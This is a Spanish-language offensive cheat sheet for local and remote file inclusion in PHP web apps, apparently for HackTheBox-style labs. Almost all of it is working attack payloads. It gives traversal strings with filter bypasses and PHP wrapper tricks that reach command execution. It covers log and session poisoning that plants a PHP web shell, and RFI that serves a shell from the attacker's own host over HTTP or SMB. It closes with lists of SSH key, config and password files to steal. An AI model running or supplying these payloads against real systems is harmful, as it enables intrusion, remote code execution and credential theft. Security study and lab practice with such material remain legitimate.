LFI, path traversal y RFI
Leer archivos con ../, saltar filtros, wrappers de PHP, de LFI a ejecución de comandos (log poisoning, data://, filter chains), RFI y los archivos interesantes de Linux y Windows.
Leer archivos
- Lo básico
?page=../../../../etc/passwd - Ruta absoluta
?page=/etc/passwd - Si quitan ../ una vez
?page=....//....//....//etc/passwd - Codificado en URL
?page=..%2f..%2f..%2f..%2fetc%2fpasswd - Doble codificación
?page=%252e%252e%252f%252e%252e%252fetc%252fpasswd - Si añaden .php al final (PHP viejo)
?page=../../../../etc/passwd%00 - Si exige empezar por una carpeta
?page=./languages/../../../../etc/passwd - Probar una lista entera con ffuf
ffuf -u "http://objetivo.htb/index.php?page=FUZZ" -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -fs 0 - Buscar el parámetro vulnerable
ffuf -u "http://objetivo.htb/index.php?FUZZ=../../../../etc/passwd" -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -fs 0
Wrappers de PHP
- Leer el código fuente en Base64
?page=php://filter/convert.base64-encode/resource=index.php - Decodificarlo en tu máquina
echo "<base64>" | base64 -d - data:// (si allow_url_include está activo)
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+&cmd=id - php://input (el código va en el cuerpo)
curl -s -X POST "http://objetivo.htb/index.php?page=php://input&cmd=id" --data '<?php system($_GET["cmd"]); ?>' - expect:// (raro, pero existe)
?page=expect://id - zip:// con un zip que subiste
echo '<?php system($_GET["cmd"]); ?>' > s.php && zip s.jpg s.php ?page=zip://uploads/s.jpg%23s.php&cmd=id - RCE sin subir nada: filter chain
python3 php_filter_chain_generator.py --chain '<?php system($_GET["c"]); ?>'
De LFI a comandos: log poisoning
- 1. Meter PHP en el log por el User-Agent
curl -s http://objetivo.htb/ -A '<?php system($_GET["cmd"]); ?>' - 2. Incluir el log de Apache
?page=/var/log/apache2/access.log&cmd=id - Log de Nginx
?page=/var/log/nginx/access.log&cmd=id - Envenenar la sesión de PHP
?page=/var/lib/php/sessions/sess_<tu_PHPSESSID> - Log de SSH (meter PHP como usuario)
ssh '<?php system($_GET["cmd"]); ?>'@10.10.11.20 ?page=/var/log/auth.log&cmd=id - Variables del proceso
?page=/proc/self/environ
RFI
- Servir tu shell
echo '<?php system($_GET["cmd"]); ?>' > s.php && python3 -m http.server 80 - Incluirla por HTTP
?page=http://10.10.14.5/s.php&cmd=id - Windows: por SMB (no necesita allow_url_include)
?page=\\10.10.14.5\share\s.php&cmd=whoami
Archivos interesantes en Linux
- Usuarios con shell
/etc/passwd - Línea de comandos y carpeta del proceso web
/proc/self/cmdline /proc/self/cwd/index.php - Llaves SSH
/home/<usuario>/.ssh/id_rsa /home/<usuario>/.ssh/id_ed25519 - Configuración de Apache y Nginx (dónde está la web)
/etc/apache2/sites-enabled/000-default.conf /etc/nginx/sites-enabled/default - Contraseñas de la base de datos
/var/www/html/config.php /var/www/html/wp-config.php /var/www/html/.env - Otros
/etc/hosts /etc/crontab /root/.bash_history /home/<usuario>/.bash_history
Archivos interesantes en Windows
- Comprobar que hay LFI
?page=C:\Windows\win.ini ?page=..\..\..\..\Windows\win.ini - IIS
C:\inetpub\wwwroot\web.config C:\Windows\System32\inetsrv\config\applicationHost.config - XAMPP
C:\xampp\apache\conf\httpd.conf C:\xampp\phpMyAdmin\config.inc.php - Instalación desatendida (contraseñas)
C:\Windows\Panther\Unattend.xml C:\Windows\Panther\Unattend\Unattend.xml - Hosts
C:\Windows\System32\drivers\etc\hosts